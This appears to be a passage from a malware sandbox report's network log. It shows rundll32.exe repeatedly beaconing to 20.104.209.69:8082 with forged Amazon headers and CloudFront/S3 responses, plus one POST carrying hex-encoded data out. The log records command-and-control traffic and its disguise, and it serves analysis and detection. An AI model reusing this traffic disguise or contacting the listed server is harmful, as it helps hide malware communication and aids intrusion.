Jan 8, 2023 16:08:17.965189934 CET	952	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:18.083970070 CET	952	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:09 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
184	192.168.2.6	49883	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:18.350773096 CET	955	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:18.469137907 CET	956	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:09 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
185	192.168.2.6	49884	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:18.732970953 CET	958	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:18.851489067 CET	959	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:10 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
186	192.168.2.6	49885	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:19.115215063 CET	962	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:19.233375072 CET	962	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:10 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
187	192.168.2.6	49886	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:19.509170055 CET	965	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:19.627127886 CET	965	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:10 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
188	192.168.2.6	49887	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:19.897556067 CET	968	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:20.015621901 CET	968	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:11 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.6	49888	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:20.282457113 CET	971	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:20.401066065 CET	971	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:11 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.6	49717	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:07:04.498125076 CET	416	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:07:04.616636992 CET	417	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:55 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.6	49889	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:20.704857111 CET	974	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:20.822829962 CET	975	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:12 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.6	49890	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:21.079024076 CET	977	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:21.197499037 CET	978	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:12 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.6	49891	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:21.477838039 CET	980	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:21.596832991 CET	981	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:12 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.6	49892	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:21.862559080 CET	984	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:21.980494976 CET	984	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:13 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.6	49893	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:22.251754999 CET	987	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:22.370240927 CET	987	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:13 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.6	49894	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:22.650719881 CET	990	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:22.770085096 CET	991	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:14 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1591

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.6	49895	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:23.134052992 CET	993	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:23.252953053 CET	994	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:14 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.6	49896	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:23.608073950 CET	997	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:23.725799084 CET	997	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:14 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1611

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.6	49897	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:24.055084944 CET	1000	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:24.173640966 CET	1000	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:15 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.6	49898	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:08:24.970159054 CET	1003	OUT	GET /broadcast HTTP/1.1 Accept: application/json, text/plain, / Accept-Language: en-US,en;q=0.5 Origin: https://www.amazon.com Referer: https://www.amazon.com Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Te: trailers x-amzn-RequestId: bSy6yvctux6/x9iXXb3xlb3IMl96G/6p/ix4EAZQFF8gCMWT/z9ivmPFaJ2QRlIPRDwc+afKfYbZqY9GtwlIy6Mus/7pddpaj69zrob2wIwUz4sC9EMQTc2/fNjrO85UcZOoYLn5RBh5DdKGmyb0aYp54KqglNTSFy6MwWtDZRs= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Connection: Keep-Alive Cache-Control: no-cache
Jan 8, 2023 16:08:25.088120937 CET	1003	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:08:16 GMT Content-Type: application/json Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Allow-Methods: GET Access-Control-Allow-Credentials: true X-Amz-Version-Id: null Server: AmazonS3 X-Cache: Hit from cloudfront Content-Length: 1567

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.6	49700	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jan 8, 2023 16:06:56.546406031 CET	105	OUT	POST /1/events/com.amazon.csm.csa.prod HTTP/1.1 Accept: / Origin: https://www.amazon.com x-amz-rid: MTQxMDk0MTc0OA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 Host: 20.104.209.69:8082 Content-Length: 454 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 7b 22 65 76 65 6e 74 73 22 3a 5b 7b 22 64 61 74 61 22 3a 7b 22 73 63 68 65 6d 61 49 64 22 3a 22 63 73 61 2e 56 69 64 65 6f 49 6e 74 65 72 61 63 74 69 6f 6e 73 2e 31 22 2c 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 3a 22 52 65 74 61 69 6c 3a 50 72 6f 64 3a 2c 22 72 65 71 75 65 73 74 49 64 22 3a 22 4d 42 46 56 38 32 54 54 51 56 32 4a 4e 42 4b 4a 4a 35 30 42 22 2c 22 74 69 74 6c 65 22 3a 22 41 6d 61 7a 6f 6e 2e 63 6f 6d 2e 20 53 70 65 6e 64 20 6c 65 73 73 2e 20 53 6d 69 6c 65 20 6d 6f 72 65 2e 22 2c 22 73 75 62 50 61 67 65 54 79 70 65 22 3a 22 64 65 73 6b 74 6f 70 22 2c 22 73 65 73 73 69 6f 6e 22 3a 7b 22 69 64 22 3a 22 31 33 33 2d 39 39 30 35 30 35 35 2d 32 36 37 37 32 36 36 22 7d 2c 22 76 69 64 65 6f 22 3a 7b 22 69 64 22 3a 22 41 41 41 41 51 4b 58 76 6c 57 5f 61 77 64 62 65 4c 45 4e 43 6e 76 69 33 34 65 52 45 73 55 37 6c 77 4f 42 37 74 41 4c 51 48 37 58 6a 4c 69 4b 55 72 6d 6d 6b 70 52 74 75 30 56 70 71 70 6d 6b 63 32 57 54 57 77 75 6e 43 7a 68 4b 47 6e 5f 33 67 4b 75 71 38 50 7a 6a 6b 49 47 51 22 0a 22 70 6c 61 79 65 72 4d 6f 64 65 22 3a 22 49 4e 4c 49 4e 45 22 2c 22 76 69 64 65 6f 52 65 71 75 65 73 74 49 64 22 3a 22 4d 42 46 56 38 32 54 54 51 56 32 4a 4e 42 4b 4a 4a 35 30 42 22 2c 22 69 73 41 75 64 69 6f 4f 6e 22 3a 22 66 61 6c 73 65 22 2c 22 70 6c 61 79 65 72 22 3a 22 49 56 53 22 2c 22 65 76 65 6e 74 22 3a 22 4e 4f 4e 45 22 7d 7d 7d 7d 5d 7d Data Ascii: {"events":[{"data":{"schemaId":"csa.VideoInteractions.1","application":"Retail:Prod:,"requestId":"MBFV82TTQV2JNBKJJ50B","title":"Amazon.com. Spend less. Smile more.","subPageType":"desktop","session":{"id":"133-9905055-2677266"},"video":{"id":"AAAAQKXvlW_awdbeLENCnvi34eREsU7lwOB7tALQH7XjLiKUrmmkpRtu0Vpqpmkc2WTWwunCzhKGn_3gKuq8PzjkIGQ""playerMode":"INLINE","videoRequestId":"MBFV82TTQV2JNBKJJ50B","isAudioOn":"false","player":"IVS","event":"NONE"}}}}]}
Jan 8, 2023 16:06:56.662009001 CET	106	IN	HTTP/1.1 200 OK Date: Sun, 8 Jan 2023 15:06:47 GMT Server: Server Content-Type: application/json Connection: close Access-Control-Allow-Origin: https://www.amazon.com Access-Control-Expose-Headers: x-amzn-RequestId,x-amzn-ErrorType,x-amzn-ErrorMessage,Date Access-Control-Allow-Credentials: true Vary: Origin,Content-Type,Accept-Encoding,X-Amzn-CDN-Cache,X-Amzn-AX-Treatment,User-Agent Permissions-Policy: interest-cohort=() Content-Length: 60

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.6	49718	20.104.209.69	8082	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
